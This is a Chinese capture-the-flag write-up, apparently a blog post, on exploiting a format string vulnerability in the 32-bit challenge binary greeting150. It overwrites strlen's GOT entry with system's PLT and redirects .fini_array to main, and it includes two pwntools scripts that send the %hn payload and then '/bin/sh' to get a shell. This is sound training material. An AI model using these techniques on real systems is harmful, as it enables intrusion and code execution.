攻防世界格式化字符串漏洞greeting150

1.checksec+运行

32位/NX堆栈不可执行/Canary保护

注意一点:没有RELRO保护,got表完全可写

2.IDA常规操作

1.main函数

2.getnline 函数

 

 看到以上信息可以 泄露任意地址的内存

但是........上面的看着感觉不是很对

原来是这样

出现了aaaa---->0x61616161,参数在格式化字符串第12个位置

aaaaaa%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

 注意:我们需要在前面再填充两个字符,才会确定我们输入的aaaa

同样,这样也可以实现

通过这种方法,如果我们传入的是 一个函数的 GOT 地址,那么他就可以给我们打印出来函数在内存中的真实地址

也就是说格式化字符串可以将任意一个即将调用的函数的got覆盖成我们想要调用函数的plt

用格式化字符串漏洞修改strlen或其他函数(能被调用且有可操纵字符串传入的函数)

 objdump -R greeting150查看got表

 虽然打印出了system的地址,但因为延迟绑定机制,system没有调用过,是得不到system的got表真实地址,而是plt表的地址

因此

我们可以修改strlen的GOT表内容为system的PLT表

但是但是.......

运行程序我们知道,程序没有循环
也就是说即使覆写了strlen函数的got表地址,也没有用,覆写之后就退出了,就是说发生格式化字符串漏洞后程序就结束了,调用不到getnline.

额............这样的话

想办法,让他能循环,让程序再回到main,执行strlen

补充知识:

我们都知道,main函数不是程序的真正入口,__libc_start_main函数才是程序的真正入口

__libc_start_main原型

int __libc_start_main(
         (int (*main) (int, char**, char**),
         int argc,
         char **argv,
         __typeof (main) init,
         void (*fini) (void),
         void (*rtld_fini) (void),
         void* stack_end)

程序开始时会执行一遍init_array指针数组,调用数组中每一个函数进行初始化,

结束时会执行一遍fini_array指针数组,调用数组中每一个函数进行清理操作

这样我们的机会来了.............

利用格式化字符串漏洞覆盖任意地址内存

本题我们将.fini._array的第一个指针写成start地址或者main函数地址,让程序重新执行,便实现了循环调用

但是这个数组的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要一次性修改两个地址并且合理调整payload。

.fini_array的4个字节为start地址,进而程序进入第二次循环,输入/bin/sh\x00,拿到shell

必要地址

 

main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54

修改fini_array的后两个字节0x85ED

修改strlen_got的后两字节0x8490, 和前两个字节0x804

got改成plt在内存中会映射相差一段距离, 所以不是按文件的地址仅需要修改低2位字节(其他师傅博客解释的,具体为什么2字节不是很清楚,等学完必要的基础知识应该就可以理解了)

字符串长度的限制,采用单个字节修改,%hn

from pwn import*
p=process('./greeting150')

main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54

fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490

p.recvuntil('Please tell me your name... ')
pl = b'a'*2
pl += p32(strlen_got)
pl += p32(strlen_got+2)
pl += p32(fini_array)
num = 0x804 - 0x20
pl += '%' + str(num) + 'c%13$hn'
num = 0x8490 - 0x804
pl += '%' + str(num) + 'c%12$hn'
num = 0x85ED - 0x8490
pl += '%' + str(num) + 'c%14$hn'
print(len(pl))

p.sendline(pl)
p.recvuntil('Please tell me your name... ')
p.sendline('/bin/sh')
p.interactive()

字符串与字节流不能直接相加,需要转换编码格式

修改脚本 

from pwn import*
p=process('./greeting150')

main_addr = 0x080485ED
fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54

fini_num = 0x85ED
sysplt_num1 = 0x0804
sysplt_num2 = 0x8490

p.recvuntil('Please tell me your name... ')
payload = b'a'*2
payload += p32(strlen_got)
payload += p32(strlen_got+2)
payload += p32(fini_array)
num = 0x804 - 0x20
k= '%' + str(num) + 'c%13$hn'
payload+= k.encode('utf-8')
num = 0x8490 - 0x804
k= '%' + str(num) + 'c%12$hn'
payload+= k.encode('utf-8')
num = 0x85ED - 0x8490
k= '%' + str(num) + 'c%14$hn'
payload+= k.encode('utf-8')
print(len(payload))

p.sendline(payload)
p.recvuntil('Please tell me your name... ')
p.sendline('/bin/sh')
p.interactive()

最后成功打通

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值